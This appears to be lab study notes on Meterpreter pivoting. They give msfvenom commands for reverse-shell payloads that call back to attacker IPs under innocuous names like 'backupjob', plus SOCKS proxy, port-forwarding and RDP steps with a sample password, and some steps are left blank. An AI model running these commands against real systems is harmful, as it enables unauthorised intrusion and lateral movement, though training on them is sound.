METERPRETER TUNNELING & PORT FORWARDING¶
We will cover the essential commands and steps for setting up Meterpreter port forwarding, This guide assumes you have a Meterpreter shell on an Ubuntu server (pivot host) and wish to perform enumeration scans through this host.
CREATING PAYLOAD FOR UBUNTU PIVOT HOST¶
-
Generate Payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
-
Start multi/handler:
-
Copy and Execute Payload on Pivot Host:
chmod +x backupjob $ ./backupjob
-
Verify Meterpreter Session:
meterpreter > pwd
CONFIGURING MSF SOCKS PROXY¶
-
Start SOCKS Proxy:
-
Add Line to proxychains.conf:
socks4 127.0.0.1 9050
-
Create Routes with AutoRoute:
TESTING PROXY & ROUTING FUNCTIONALITY¶
-
Run Nmap Scan:
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
-
Local Port Forwarding:
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19
-
Connecting to Target:
xfreerdp /v:localhost:3300 /u:victor /p:pass@123
-
View Netstat:
netstat -antp
REVERSE PORT FORWARDING¶
-
Add Reverse Port Forward:
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
-
Start multi/handler:
-
Generate Windows Payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
-
Establish Meterpreter Session:
meterpreter > shell